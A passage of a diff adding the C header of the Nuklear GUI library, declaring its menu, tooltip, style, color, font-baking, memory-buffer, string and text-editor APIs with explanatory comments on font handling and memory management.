nk_contextual_item_symbol_label(struct nk_context*, enum nk_symbol_type, const char*, nk_flags alignment); +NK_API int nk_contextual_item_symbol_text(struct nk_context*, enum nk_symbol_type, const char*, int, nk_flags alignment); +NK_API void nk_contextual_close(struct nk_context*); +NK_API void nk_contextual_end(struct nk_context*); +/* ============================================================================= + * + * TOOLTIP + * + * ============================================================================= */ +NK_API void nk_tooltip(struct nk_context*, const char*); +#ifdef NK_INCLUDE_STANDARD_VARARGS +NK_API void nk_tooltipf(struct nk_context*, NK_PRINTF_FORMAT_STRING const char*, ...) NK_PRINTF_VARARG_FUNC(2); +NK_API void nk_tooltipfv(struct nk_context*, NK_PRINTF_FORMAT_STRING const char*, va_list) NK_PRINTF_VALIST_FUNC(2); +#endif +NK_API int nk_tooltip_begin(struct nk_context*, float width); +NK_API void nk_tooltip_end(struct nk_context*); +/* ============================================================================= + * + * MENU + * + * ============================================================================= */ +NK_API void nk_menubar_begin(struct nk_context*); +NK_API void nk_menubar_end(struct nk_context*); +NK_API int nk_menu_begin_text(struct nk_context*, const char* title, int title_len, nk_flags align, struct nk_vec2 size); +NK_API int nk_menu_begin_label(struct nk_context*, const char*, nk_flags align, struct nk_vec2 size); +NK_API int nk_menu_begin_image(struct nk_context*, const char*, struct nk_image, struct nk_vec2 size); +NK_API int nk_menu_begin_image_text(struct nk_context*, const char*, int,nk_flags align,struct nk_image, struct nk_vec2 size); +NK_API int nk_menu_begin_image_label(struct nk_context*, const char*, nk_flags align,struct nk_image, struct nk_vec2 size); +NK_API int nk_menu_begin_symbol(struct nk_context*, const char*, enum nk_symbol_type, struct nk_vec2 size); +NK_API int nk_menu_begin_symbol_text(struct nk_context*, const char*, int,nk_flags align,enum nk_symbol_type, struct nk_vec2 size); +NK_API int nk_menu_begin_symbol_label(struct nk_context*, const char*, nk_flags align,enum nk_symbol_type, struct nk_vec2 size); +NK_API int nk_menu_item_text(struct nk_context*, const char*, int,nk_flags align); +NK_API int nk_menu_item_label(struct nk_context*, const char*, nk_flags alignment); +NK_API int nk_menu_item_image_label(struct nk_context*, struct nk_image, const char*, nk_flags alignment); +NK_API int nk_menu_item_image_text(struct nk_context*, struct nk_image, const char*, int len, nk_flags alignment); +NK_API int nk_menu_item_symbol_text(struct nk_context*, enum nk_symbol_type, const char*, int, nk_flags alignment); +NK_API int nk_menu_item_symbol_label(struct nk_context*, enum nk_symbol_type, const char*, nk_flags alignment); +NK_API void nk_menu_close(struct nk_context*); +NK_API void nk_menu_end(struct nk_context*); +/* ============================================================================= + * + * STYLE + * + * ============================================================================= */ +enum nk_style_colors { + NK_COLOR_TEXT, + NK_COLOR_WINDOW, + NK_COLOR_HEADER, + NK_COLOR_BORDER, + NK_COLOR_BUTTON, + NK_COLOR_BUTTON_HOVER, + NK_COLOR_BUTTON_ACTIVE, + NK_COLOR_TOGGLE, + NK_COLOR_TOGGLE_HOVER, + NK_COLOR_TOGGLE_CURSOR, + NK_COLOR_SELECT, + NK_COLOR_SELECT_ACTIVE, + NK_COLOR_SLIDER, + NK_COLOR_SLIDER_CURSOR, + NK_COLOR_SLIDER_CURSOR_HOVER, + NK_COLOR_SLIDER_CURSOR_ACTIVE, + NK_COLOR_PROPERTY, + NK_COLOR_EDIT, + NK_COLOR_EDIT_CURSOR, + NK_COLOR_COMBO, + NK_COLOR_CHART, + NK_COLOR_CHART_COLOR, + NK_COLOR_CHART_COLOR_HIGHLIGHT, + NK_COLOR_SCROLLBAR, + NK_COLOR_SCROLLBAR_CURSOR, + NK_COLOR_SCROLLBAR_CURSOR_HOVER, + NK_COLOR_SCROLLBAR_CURSOR_ACTIVE, + NK_COLOR_TAB_HEADER, + NK_COLOR_COUNT +}; +enum nk_style_cursor { + NK_CURSOR_ARROW, + NK_CURSOR_TEXT, + NK_CURSOR_MOVE, + NK_CURSOR_RESIZE_VERTICAL, + NK_CURSOR_RESIZE_HORIZONTAL, + NK_CURSOR_RESIZE_TOP_LEFT_DOWN_RIGHT, + NK_CURSOR_RESIZE_TOP_RIGHT_DOWN_LEFT, + NK_CURSOR_COUNT +}; +NK_API void nk_style_default(struct nk_context*); +NK_API void nk_style_from_table(struct nk_context*, const struct nk_color*); +NK_API void nk_style_load_cursor(struct nk_context*, enum nk_style_cursor, const struct nk_cursor*); +NK_API void nk_style_load_all_cursors(struct nk_context*, struct nk_cursor*); +NK_API const char* nk_style_get_color_by_name(enum nk_style_colors); +NK_API void nk_style_set_font(struct nk_context*, const struct nk_user_font*); +NK_API int nk_style_set_cursor(struct nk_context*, enum nk_style_cursor); +NK_API void nk_style_show_cursor(struct nk_context*); +NK_API void nk_style_hide_cursor(struct nk_context*); + +NK_API int nk_style_push_font(struct nk_context*, const struct nk_user_font*); +NK_API int nk_style_push_float(struct nk_context*, float*, float); +NK_API int nk_style_push_vec2(struct nk_context*, struct nk_vec2*, struct nk_vec2); +NK_API int nk_style_push_style_item(struct nk_context*, struct nk_style_item*, struct nk_style_item); +NK_API int nk_style_push_flags(struct nk_context*, nk_flags*, nk_flags); +NK_API int nk_style_push_color(struct nk_context*, struct nk_color*, struct nk_color); + +NK_API int nk_style_pop_font(struct nk_context*); +NK_API int nk_style_pop_float(struct nk_context*); +NK_API int nk_style_pop_vec2(struct nk_context*); +NK_API int nk_style_pop_style_item(struct nk_context*); +NK_API int nk_style_pop_flags(struct nk_context*); +NK_API int nk_style_pop_color(struct nk_context*); +/* ============================================================================= + * + * COLOR + * + * ============================================================================= */ +NK_API struct nk_color nk_rgb(int r, int g, int b); +NK_API struct nk_color nk_rgb_iv(const int *rgb); +NK_API struct nk_color nk_rgb_bv(const nk_byte* rgb); +NK_API struct nk_color nk_rgb_f(float r, float g, float b); +NK_API struct nk_color nk_rgb_fv(const float *rgb); +NK_API struct nk_color nk_rgb_cf(struct nk_colorf c); +NK_API struct nk_color nk_rgb_hex(const char *rgb); + +NK_API struct nk_color nk_rgba(int r, int g, int b, int a); +NK_API struct nk_color nk_rgba_u32(nk_uint); +NK_API struct nk_color nk_rgba_iv(const int *rgba); +NK_API struct nk_color nk_rgba_bv(const nk_byte *rgba); +NK_API struct nk_color nk_rgba_f(float r, float g, float b, float a); +NK_API struct nk_color nk_rgba_fv(const float *rgba); +NK_API struct nk_color nk_rgba_cf(struct nk_colorf c); +NK_API struct nk_color nk_rgba_hex(const char *rgb); + +NK_API struct nk_colorf nk_hsva_colorf(float h, float s, float v, float a); +NK_API struct nk_colorf nk_hsva_colorfv(float *c); +NK_API void nk_colorf_hsva_f(float *out_h, float *out_s, float *out_v, float *out_a, struct nk_colorf in); +NK_API void nk_colorf_hsva_fv(float *hsva, struct nk_colorf in); + +NK_API struct nk_color nk_hsv(int h, int s, int v); +NK_API struct nk_color nk_hsv_iv(const int *hsv); +NK_API struct nk_color nk_hsv_bv(const nk_byte *hsv); +NK_API struct nk_color nk_hsv_f(float h, float s, float v); +NK_API struct nk_color nk_hsv_fv(const float *hsv); + +NK_API struct nk_color nk_hsva(int h, int s, int v, int a); +NK_API struct nk_color nk_hsva_iv(const int *hsva); +NK_API struct nk_color nk_hsva_bv(const nk_byte *hsva); +NK_API struct nk_color nk_hsva_f(float h, float s, float v, float a); +NK_API struct nk_color nk_hsva_fv(const float *hsva); + +/* color (conversion nuklear --> user) */ +NK_API void nk_color_f(float *r, float *g, float *b, float *a, struct nk_color); +NK_API void nk_color_fv(float *rgba_out, struct nk_color); +NK_API struct nk_colorf nk_color_cf(struct nk_color); +NK_API void nk_color_d(double *r, double *g, double *b, double *a, struct nk_color); +NK_API void nk_color_dv(double *rgba_out, struct nk_color); + +NK_API nk_uint nk_color_u32(struct nk_color); +NK_API void nk_color_hex_rgba(char *output, struct nk_color); +NK_API void nk_color_hex_rgb(char *output, struct nk_color); + +NK_API void nk_color_hsv_i(int *out_h, int *out_s, int *out_v, struct nk_color); +NK_API void nk_color_hsv_b(nk_byte *out_h, nk_byte *out_s, nk_byte *out_v, struct nk_color); +NK_API void nk_color_hsv_iv(int *hsv_out, struct nk_color); +NK_API void nk_color_hsv_bv(nk_byte *hsv_out, struct nk_color); +NK_API void nk_color_hsv_f(float *out_h, float *out_s, float *out_v, struct nk_color); +NK_API void nk_color_hsv_fv(float *hsv_out, struct nk_color); + +NK_API void nk_color_hsva_i(int *h, int *s, int *v, int *a, struct nk_color); +NK_API void nk_color_hsva_b(nk_byte *h, nk_byte *s, nk_byte *v, nk_byte *a, struct nk_color); +NK_API void nk_color_hsva_iv(int *hsva_out, struct nk_color); +NK_API void nk_color_hsva_bv(nk_byte *hsva_out, struct nk_color); +NK_API void nk_color_hsva_f(float *out_h, float *out_s, float *out_v, float *out_a, struct nk_color); +NK_API void nk_color_hsva_fv(float *hsva_out, struct nk_color); +/* ============================================================================= + * + * IMAGE + * + * ============================================================================= */ +NK_API nk_handle nk_handle_ptr(void*); +NK_API nk_handle nk_handle_id(int); +NK_API struct nk_image nk_image_handle(nk_handle); +NK_API struct nk_image nk_image_ptr(void*); +NK_API struct nk_image nk_image_id(int); +NK_API int nk_image_is_subimage(const struct nk_image* img); +NK_API struct nk_image nk_subimage_ptr(void*, unsigned short w, unsigned short h, struct nk_rect sub_region); +NK_API struct nk_image nk_subimage_id(int, unsigned short w, unsigned short h, struct nk_rect sub_region); +NK_API struct nk_image nk_subimage_handle(nk_handle, unsigned short w, unsigned short h, struct nk_rect sub_region); +/* ============================================================================= + * + * MATH + * + * ============================================================================= */ +NK_API nk_hash nk_murmur_hash(const void *key, int len, nk_hash seed); +NK_API void nk_triangle_from_direction(struct nk_vec2 *result, struct nk_rect r, float pad_x, float pad_y, enum nk_heading); + +NK_API struct nk_vec2 nk_vec2(float x, float y); +NK_API struct nk_vec2 nk_vec2i(int x, int y); +NK_API struct nk_vec2 nk_vec2v(const float *xy); +NK_API struct nk_vec2 nk_vec2iv(const int *xy); + +NK_API struct nk_rect nk_get_null_rect(void); +NK_API struct nk_rect nk_rect(float x, float y, float w, float h); +NK_API struct nk_rect nk_recti(int x, int y, int w, int h); +NK_API struct nk_rect nk_recta(struct nk_vec2 pos, struct nk_vec2 size); +NK_API struct nk_rect nk_rectv(const float *xywh); +NK_API struct nk_rect nk_rectiv(const int *xywh); +NK_API struct nk_vec2 nk_rect_pos(struct nk_rect); +NK_API struct nk_vec2 nk_rect_size(struct nk_rect); +/* ============================================================================= + * + * STRING + * + * ============================================================================= */ +NK_API int nk_strlen(const char *str); +NK_API int nk_stricmp(const char *s1, const char *s2); +NK_API int nk_stricmpn(const char *s1, const char *s2, int n); +NK_API int nk_strtoi(const char *str, const char **endptr); +NK_API float nk_strtof(const char *str, const char **endptr); +NK_API double nk_strtod(const char *str, const char **endptr); +NK_API int nk_strfilter(const char *text, const char *regexp); +NK_API int nk_strmatch_fuzzy_string(char const *str, char const *pattern, int *out_score); +NK_API int nk_strmatch_fuzzy_text(const char *txt, int txt_len, const char *pattern, int *out_score); +/* ============================================================================= + * + * UTF-8 + * + * ============================================================================= */ +NK_API int nk_utf_decode(const char*, nk_rune*, int); +NK_API int nk_utf_encode(nk_rune, char*, int); +NK_API int nk_utf_len(const char*, int byte_len); +NK_API const char* nk_utf_at(const char *buffer, int length, int index, nk_rune *unicode, int *len); +/* =============================================================== + * + * FONT + * + * ===============================================================*/ +/* Font handling in this library was designed to be quite customizable and lets + you decide what you want to use and what you want to provide. There are three + different ways to use the font atlas. The first two will use your font + handling scheme and only requires essential data to run nuklear. The next + slightly more advanced features is font handling with vertex buffer output. + Finally the most complex API wise is using nuklear's font baking API. + + 1.) Using your own implementation without vertex buffer output + -------------------------------------------------------------- + So first up the easiest way to do font handling is by just providing a + `nk_user_font` struct which only requires the height in pixel of the used + font and a callback to calculate the width of a string. This way of handling + fonts is best fitted for using the normal draw shape command API where you + do all the text drawing yourself and the library does not require any kind + of deeper knowledge about which font handling mechanism you use. + IMPORTANT: the `nk_user_font` pointer provided to nuklear has to persist + over the complete life time! I know this sucks but it is currently the only + way to switch between fonts. + + float your_text_width_calculation(nk_handle handle, float height, const char *text, int len) + { + your_font_type *type = handle.ptr; + float text_width = ...; + return text_width; + } + + struct nk_user_font font; + font.userdata.ptr = &your_font_class_or_struct; + font.height = your_font_height; + font.width = your_text_width_calculation; + + struct nk_context ctx; + nk_init_default(&ctx, &font); + + 2.) Using your own implementation with vertex buffer output + -------------------------------------------------------------- + While the first approach works fine if you don't want to use the optional + vertex buffer output it is not enough if you do. To get font handling working + for these cases you have to provide two additional parameters inside the + `nk_user_font`. First a texture atlas handle used to draw text as subimages + of a bigger font atlas texture and a callback to query a character's glyph + information (offset, size, ...). So it is still possible to provide your own + font and use the vertex buffer output. + + float your_text_width_calculation(nk_handle handle, float height, const char *text, int len) + { + your_font_type *type = handle.ptr; + float text_width = ...; + return text_width; + } + void query_your_font_glyph(nk_handle handle, float font_height, struct nk_user_font_glyph *glyph, nk_rune codepoint, nk_rune next_codepoint) + { + your_font_type *type = handle.ptr; + glyph.width = ...; + glyph.height = ...; + glyph.xadvance = ...; + glyph.uv[0].x = ...; + glyph.uv[0].y = ...; + glyph.uv[1].x = ...; + glyph.uv[1].y = ...; + glyph.offset.x = ...; + glyph.offset.y = ...; + } + + struct nk_user_font font; + font.userdata.ptr = &your_font_class_or_struct; + font.height = your_font_height; + font.width = your_text_width_calculation; + font.query = query_your_font_glyph; + font.texture.id = your_font_texture; + + struct nk_context ctx; + nk_init_default(&ctx, &font); + + 3.) Nuklear font baker + ------------------------------------ + The final approach if you do not have a font handling functionality or don't + want to use it in this library is by using the optional font baker. + The font baker APIs can be used to create a font plus font atlas texture + and can be used with or without the vertex buffer output. + + It still uses the `nk_user_font` struct and the two different approaches + previously stated still work. The font baker is not located inside + `nk_context` like all other systems since it can be understood as more of + an extension to nuklear and does not really depend on any `nk_context` state. + + Font baker need to be initialized first by one of the nk_font_atlas_init_xxx + functions. If you don't care about memory just call the default version + `nk_font_atlas_init_default` which will allocate all memory from the standard library. + If you want to control memory allocation but you don't care if the allocated + memory is temporary and therefore can be freed directly after the baking process + is over or permanent you can call `nk_font_atlas_init`. + + After successfully initializing the font baker you can add Truetype(.ttf) fonts from + different sources like memory or from file by calling one of the `nk_font_atlas_add_xxx`. + functions. Adding font will permanently store each font, font config and ttf memory block(!) + inside the font atlas and allows to reuse the font atlas. If you don't want to reuse + the font baker by for example adding additional fonts you can call + `nk_font_atlas_cleanup` after the baking process is over (after calling nk_font_atlas_end). + + As soon as you added all fonts you wanted you can now start the baking process + for every selected glyph to image by calling `nk_font_atlas_bake`. + The baking process returns image memory, width and height which can be used to + either create your own image object or upload it to any graphics library. + No matter which case you finally have to call `nk_font_atlas_end` which + will free all temporary memory including the font atlas image so make sure + you created our texture beforehand. `nk_font_atlas_end` requires a handle + to your font texture or object and optionally fills a `struct nk_draw_null_texture` + which can be used for the optional vertex output. If you don't want it just + set the argument to `NULL`. + + At this point you are done and if you don't want to reuse the font atlas you + can call `nk_font_atlas_cleanup` to free all truetype blobs and configuration + memory. Finally if you don't use the font atlas and any of it's fonts anymore + you need to call `nk_font_atlas_clear` to free all memory still being used. + + struct nk_font_atlas atlas; + nk_font_atlas_init_default(&atlas); + nk_font_atlas_begin(&atlas); + nk_font *font = nk_font_atlas_add_from_file(&atlas, "Path/To/Your/TTF_Font.ttf", 13, 0); + nk_font *font2 = nk_font_atlas_add_from_file(&atlas, "Path/To/Your/TTF_Font2.ttf", 16, 0); + const void* img = nk_font_atlas_bake(&atlas, &img_width, &img_height, NK_FONT_ATLAS_RGBA32); + nk_font_atlas_end(&atlas, nk_handle_id(texture), 0); + + struct nk_context ctx; + nk_init_default(&ctx, &font->handle); + while (1) { + + } + nk_font_atlas_clear(&atlas); + + The font baker API is probably the most complex API inside this library and + I would suggest reading some of my examples `example/` to get a grip on how + to use the font atlas. There are a number of details I left out. For example + how to merge fonts, configure a font with `nk_font_config` to use other languages, + use another texture coordinate format and a lot more: + + struct nk_font_config cfg = nk_font_config(font_pixel_height); + cfg.merge_mode = nk_false or nk_true; + cfg.range = nk_font_korean_glyph_ranges(); + cfg.coord_type = NK_COORD_PIXEL; + nk_font *font = nk_font_atlas_add_from_file(&atlas, "Path/To/Your/TTF_Font.ttf", 13, &cfg); + +*/ +struct nk_user_font_glyph; +typedef float(*nk_text_width_f)(nk_handle, float h, const char*, int len); +typedef void(*nk_query_font_glyph_f)(nk_handle handle, float font_height, + struct nk_user_font_glyph *glyph, + nk_rune codepoint, nk_rune next_codepoint); + +#if defined(NK_INCLUDE_VERTEX_BUFFER_OUTPUT) || defined(NK_INCLUDE_SOFTWARE_FONT) +struct nk_user_font_glyph { + struct nk_vec2 uv[2]; + /* texture coordinates */ + struct nk_vec2 offset; + /* offset between top left and glyph */ + float width, height; + /* size of the glyph */ + float xadvance; + /* offset to the next glyph */ +}; +#endif + +struct nk_user_font { + nk_handle userdata; + /* user provided font handle */ + float height; + /* max height of the font */ + nk_text_width_f width; + /* font string width in pixel callback */ +#ifdef NK_INCLUDE_VERTEX_BUFFER_OUTPUT + nk_query_font_glyph_f query; + /* font glyph callback to query drawing info */ + nk_handle texture; + /* texture handle to the used font atlas or texture */ +#endif +}; + +#ifdef NK_INCLUDE_FONT_BAKING +enum nk_font_coord_type { + NK_COORD_UV, /* texture coordinates inside font glyphs are clamped between 0-1 */ + NK_COORD_PIXEL /* texture coordinates inside font glyphs are in absolute pixel */ +}; + +struct nk_font; +struct nk_baked_font { + float height; + /* height of the font */ + float ascent, descent; + /* font glyphs ascent and descent */ + nk_rune glyph_offset; + /* glyph array offset inside the font glyph baking output array */ + nk_rune glyph_count; + /* number of glyphs of this font inside the glyph baking array output */ + const nk_rune *ranges; + /* font codepoint ranges as pairs of (from/to) and 0 as last element */ +}; + +struct nk_font_config { + struct nk_font_config *next; + /* NOTE: only used internally */ + void *ttf_blob; + /* pointer to loaded TTF file memory block. + * NOTE: not needed for nk_font_atlas_add_from_memory and nk_font_atlas_add_from_file. */ + nk_size ttf_size; + /* size of the loaded TTF file memory block + * NOTE: not needed for nk_font_atlas_add_from_memory and nk_font_atlas_add_from_file. */ + + unsigned char ttf_data_owned_by_atlas; + /* used inside font atlas: default to: 0*/ + unsigned char merge_mode; + /* merges this font into the last font */ + unsigned char pixel_snap; + /* align every character to pixel boundary (if true set oversample (1,1)) */ + unsigned char oversample_v, oversample_h; + /* rasterize at hight quality for sub-pixel position */ + unsigned char padding[3]; + + float size; + /* baked pixel height of the font */ + enum nk_font_coord_type coord_type; + /* texture coordinate format with either pixel or UV coordinates */ + struct nk_vec2 spacing; + /* extra pixel spacing between glyphs */ + const nk_rune *range; + /* list of unicode ranges (2 values per range, zero terminated) */ + struct nk_baked_font *font; + /* font to setup in the baking process: NOTE: not needed for font atlas */ + nk_rune fallback_glyph; + /* fallback glyph to use if a given rune is not found */ + struct nk_font_config *n; + struct nk_font_config *p; +}; + +struct nk_font_glyph { + nk_rune codepoint; + float xadvance; + float x0, y0, x1, y1, w, h; + float u0, v0, u1, v1; +}; + +struct nk_font { + struct nk_font *next; + struct nk_user_font handle; + struct nk_baked_font info; + float scale; + struct nk_font_glyph *glyphs; + const struct nk_font_glyph *fallback; + nk_rune fallback_codepoint; + nk_handle texture; + struct nk_font_config *config; +}; + +enum nk_font_atlas_format { + NK_FONT_ATLAS_ALPHA8, + NK_FONT_ATLAS_RGBA32 +}; + +struct nk_font_atlas { + void *pixel; + int tex_width; + int tex_height; + + struct nk_allocator permanent; + struct nk_allocator temporary; + + struct nk_recti custom; + struct nk_cursor cursors[NK_CURSOR_COUNT]; + + int glyph_count; + struct nk_font_glyph *glyphs; + struct nk_font *default_font; + struct nk_font *fonts; + struct nk_font_config *config; + int font_num; +}; + +/* some language glyph codepoint ranges */ +NK_API const nk_rune *nk_font_default_glyph_ranges(void); +NK_API const nk_rune *nk_font_chinese_glyph_ranges(void); +NK_API const nk_rune *nk_font_cyrillic_glyph_ranges(void); +NK_API const nk_rune *nk_font_korean_glyph_ranges(void); + +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_API void nk_font_atlas_init_default(struct nk_font_atlas*); +#endif +NK_API void nk_font_atlas_init(struct nk_font_atlas*, struct nk_allocator*); +NK_API void nk_font_atlas_init_custom(struct nk_font_atlas*, struct nk_allocator *persistent, struct nk_allocator *transient); +NK_API void nk_font_atlas_begin(struct nk_font_atlas*); +NK_API struct nk_font_config nk_font_config(float pixel_height); +NK_API struct nk_font *nk_font_atlas_add(struct nk_font_atlas*, const struct nk_font_config*); +#ifdef NK_INCLUDE_DEFAULT_FONT +NK_API struct nk_font* nk_font_atlas_add_default(struct nk_font_atlas*, float height, const struct nk_font_config*); +#endif +NK_API struct nk_font* nk_font_atlas_add_from_memory(struct nk_font_atlas *atlas, void *memory, nk_size size, float height, const struct nk_font_config *config); +#ifdef NK_INCLUDE_STANDARD_IO +NK_API struct nk_font* nk_font_atlas_add_from_file(struct nk_font_atlas *atlas, const char *file_path, float height, const struct nk_font_config*); +#endif +NK_API struct nk_font *nk_font_atlas_add_compressed(struct nk_font_atlas*, void *memory, nk_size size, float height, const struct nk_font_config*); +NK_API struct nk_font* nk_font_atlas_add_compressed_base85(struct nk_font_atlas*, const char *data, float height, const struct nk_font_config *config); +NK_API const void* nk_font_atlas_bake(struct nk_font_atlas*, int *width, int *height, enum nk_font_atlas_format); +NK_API void nk_font_atlas_end(struct nk_font_atlas*, nk_handle tex, struct nk_draw_null_texture*); +NK_API const struct nk_font_glyph* nk_font_find_glyph(struct nk_font*, nk_rune unicode); +NK_API void nk_font_atlas_cleanup(struct nk_font_atlas *atlas); +NK_API void nk_font_atlas_clear(struct nk_font_atlas*); + +#endif + +/* ============================================================== + * + * MEMORY BUFFER + * + * ===============================================================*/ +/* A basic (double)-buffer with linear allocation and resetting as only + freeing policy. The buffer's main purpose is to control all memory management + inside the GUI toolkit and still leave memory control as much as possible in + the hand of the user while also making sure the library is easy to use if + not as much control is needed. + In general all memory inside this library can be provided from the user in + three different ways. + + The first way and the one providing most control is by just passing a fixed + size memory block. In this case all control lies in the hand of the user + since he can exactly control where the memory comes from and how much memory + the library should consume. Of course using the fixed size API removes the + ability to automatically resize a buffer if not enough memory is provided so + you have to take over the resizing. While being a fixed sized buffer sounds + quite limiting, it is very effective in this library since the actual memory + consumption is quite stable and has a fixed upper bound for a lot of cases. + + If you don't want to think about how much memory the library should allocate + at all time or have a very dynamic UI with unpredictable memory consumption + habits but still want control over memory allocation you can use the dynamic + allocator based API. The allocator consists of two callbacks for allocating + and freeing memory and optional userdata so you can plugin your own allocator. + + The final and easiest way can be used by defining + NK_INCLUDE_DEFAULT_ALLOCATOR which uses the standard library memory + allocation functions malloc and free and takes over complete control over + memory in this library. +*/ +struct nk_memory_status { + void *memory; + unsigned int type; + nk_size size; + nk_size allocated; + nk_size needed; + nk_size calls; +}; + +enum nk_allocation_type { + NK_BUFFER_FIXED, + NK_BUFFER_DYNAMIC +}; + +enum nk_buffer_allocation_type { + NK_BUFFER_FRONT, + NK_BUFFER_BACK, + NK_BUFFER_MAX +}; + +struct nk_buffer_marker { + int active; + nk_size offset; +}; + +struct nk_memory {void *ptr;nk_size size;}; +struct nk_buffer { + struct nk_buffer_marker marker[NK_BUFFER_MAX]; + /* buffer marker to free a buffer to a certain offset */ + struct nk_allocator pool; + /* allocator callback for dynamic buffers */ + enum nk_allocation_type type; + /* memory management type */ + struct nk_memory memory; + /* memory and size of the current memory block */ + float grow_factor; + /* growing factor for dynamic memory management */ + nk_size allocated; + /* total amount of memory allocated */ + nk_size needed; + /* totally consumed memory given that enough memory is present */ + nk_size calls; + /* number of allocation calls */ + nk_size size; + /* current size of the buffer */ +}; + +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_API void nk_buffer_init_default(struct nk_buffer*); +#endif +NK_API void nk_buffer_init(struct nk_buffer*, const struct nk_allocator*, nk_size size); +NK_API void nk_buffer_init_fixed(struct nk_buffer*, void *memory, nk_size size); +NK_API void nk_buffer_info(struct nk_memory_status*, struct nk_buffer*); +NK_API void nk_buffer_push(struct nk_buffer*, enum nk_buffer_allocation_type type, const void *memory, nk_size size, nk_size align); +NK_API void nk_buffer_mark(struct nk_buffer*, enum nk_buffer_allocation_type type); +NK_API void nk_buffer_reset(struct nk_buffer*, enum nk_buffer_allocation_type type); +NK_API void nk_buffer_clear(struct nk_buffer*); +NK_API void nk_buffer_free(struct nk_buffer*); +NK_API void *nk_buffer_memory(struct nk_buffer*); +NK_API const void *nk_buffer_memory_const(const struct nk_buffer*); +NK_API nk_size nk_buffer_total(struct nk_buffer*); + +/* ============================================================== + * + * STRING + * + * ===============================================================*/ +/* Basic string buffer which is only used in context with the text editor + * to manage and manipulate dynamic or fixed size string content. This is _NOT_ + * the default string handling method. The only instance you should have any contact + * with this API is if you interact with an `nk_text_edit` object inside one of the + * copy and paste functions and even there only for more advanced cases. */ +struct nk_str { + struct nk_buffer buffer; + int len; /* in codepoints/runes/glyphs */ +}; + +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_API void nk_str_init_default(struct nk_str*); +#endif +NK_API void nk_str_init(struct nk_str*, const struct nk_allocator*, nk_size size); +NK_API void nk_str_init_fixed(struct nk_str*, void *memory, nk_size size); +NK_API void nk_str_clear(struct nk_str*); +NK_API void nk_str_free(struct nk_str*); + +NK_API int nk_str_append_text_char(struct nk_str*, const char*, int); +NK_API int nk_str_append_str_char(struct nk_str*, const char*); +NK_API int nk_str_append_text_utf8(struct nk_str*, const char*, int); +NK_API int nk_str_append_str_utf8(struct nk_str*, const char*); +NK_API int nk_str_append_text_runes(struct nk_str*, const nk_rune*, int); +NK_API int nk_str_append_str_runes(struct nk_str*, const nk_rune*); + +NK_API int nk_str_insert_at_char(struct nk_str*, int pos, const char*, int); +NK_API int nk_str_insert_at_rune(struct nk_str*, int pos, const char*, int); + +NK_API int nk_str_insert_text_char(struct nk_str*, int pos, const char*, int); +NK_API int nk_str_insert_str_char(struct nk_str*, int pos, const char*); +NK_API int nk_str_insert_text_utf8(struct nk_str*, int pos, const char*, int); +NK_API int nk_str_insert_str_utf8(struct nk_str*, int pos, const char*); +NK_API int nk_str_insert_text_runes(struct nk_str*, int pos, const nk_rune*, int); +NK_API int nk_str_insert_str_runes(struct nk_str*, int pos, const nk_rune*); + +NK_API void nk_str_remove_chars(struct nk_str*, int len); +NK_API void nk_str_remove_runes(struct nk_str *str, int len); +NK_API void nk_str_delete_chars(struct nk_str*, int pos, int len); +NK_API void nk_str_delete_runes(struct nk_str*, int pos, int len); + +NK_API char *nk_str_at_char(struct nk_str*, int pos); +NK_API char *nk_str_at_rune(struct nk_str*, int pos, nk_rune *unicode, int *len); +NK_API nk_rune nk_str_rune_at(const struct nk_str*, int pos); +NK_API const char *nk_str_at_char_const(const struct nk_str*, int pos); +NK_API const char *nk_str_at_const(const struct nk_str*, int pos, nk_rune *unicode, int *len); + +NK_API char *nk_str_get(struct nk_str*); +NK_API const char *nk_str_get_const(const struct nk_str*); +NK_API int nk_str_len(struct nk_str*); +NK_API int nk_str_len_char(struct nk_str*); + +/*=============================================================== + * + * TEXT EDITOR + * + * ===============================================================*/ +/* Editing text in this library is handled by either `nk_edit_string` or + * `nk_edit_buffer`. But like almost everything in this library there are multiple + * ways of doing it and a balance between control and ease of use with memory + * as well as functionality controlled by flags. + * + * This library generally allows three different levels of memory control: + * First of is the most basic way of just providing a simple char array with + * string length. This method is probably the easiest way of handling simple + * user text input. Main upside is complete control over memory while the biggest + * downside in comparison with the other two approaches is missing undo/redo. + * + * For UIs that require undo/redo the second way was created. It is based on + * a fixed size nk_text_edit struct, which has an internal undo/redo stack. + * This is mainly useful if you want something more like a text editor but don't want + * to have a dynamically growing buffer. + * + * The final way is using a dynamically growing nk_text_edit struct, which + * has both a default version if you don't care where memory comes from and an + * allocator version if you do. While the text editor is quite powerful for its + * complexity I would not recommend editing gigabytes of data with it. + * It is rather designed for uses cases which make sense for a GUI library not for + * an full blown text editor. + */ +#ifndef NK_TEXTEDIT_UNDOSTATECOUNT +#define NK_TEXTEDIT_UNDOSTATECOUNT 99 +#endif + +#ifndef NK_TEXTEDIT_UNDOCHARCOUNT +#define NK_TEXTEDIT_UNDOCHARCOUNT 999 +#endif + +struct nk_text_edit; +struct nk_clipboard { + nk_handle userdata; + nk_plugin_paste paste; + nk_plugin_copy copy; +}; + +struct nk_text_undo_record { + int where; + short insert_length; + short delete_length; + short char_storage; +}; + +struct nk_text_undo_state { + struct nk_text_undo_record undo_rec[NK_TEXTEDIT_UNDOSTATECOUNT]; + nk_rune undo_char[NK_TEXTEDIT_UNDOCHARCOUNT]; + short undo_point; + short redo_point; + short undo_char_point; + short redo_char_point; +}; + +enum nk_text_edit_type { + NK_TEXT_EDIT_SINGLE_LINE, + NK_TEXT_EDIT_MULTI_LINE +}; + +enum nk_text_edit_mode { + NK_TEXT_EDIT_MODE_VIEW, + NK_TEXT_EDIT_MODE_INSERT, + NK_TEXT_EDIT_MODE_REPLACE +}; + +struct nk_text_edit { + struct nk_clipboard clip; + struct nk_str string; + nk_plugin_filter filter; + struct nk_vec2 scrollbar; + + int cursor; + int select_start; + int select_end; + unsigned char mode; + unsigned char cursor_at_end_of_line; + unsigned char initialized; + unsigned char has_preferred_x; + unsigned char single_line; + unsigned char active; + unsigned char padding1; + float preferred_x; + struct nk_text_undo_state undo; +}; + +/* filter function */ +NK_API int nk_filter_default(const struct nk_text_edit*, nk_rune unicode); +NK_API int nk_filter_ascii(const struct nk_text_edit*, nk_rune unicode); +NK_API int nk_filter_float(const struct nk_text_edit*, nk_rune unicode); +NK_API int nk_filter_decimal(const struct nk_text_edit*, nk_rune unicode); +NK_API int nk_filter_hex(const struct nk_text_edit*, nk_rune unicode); +NK_API int 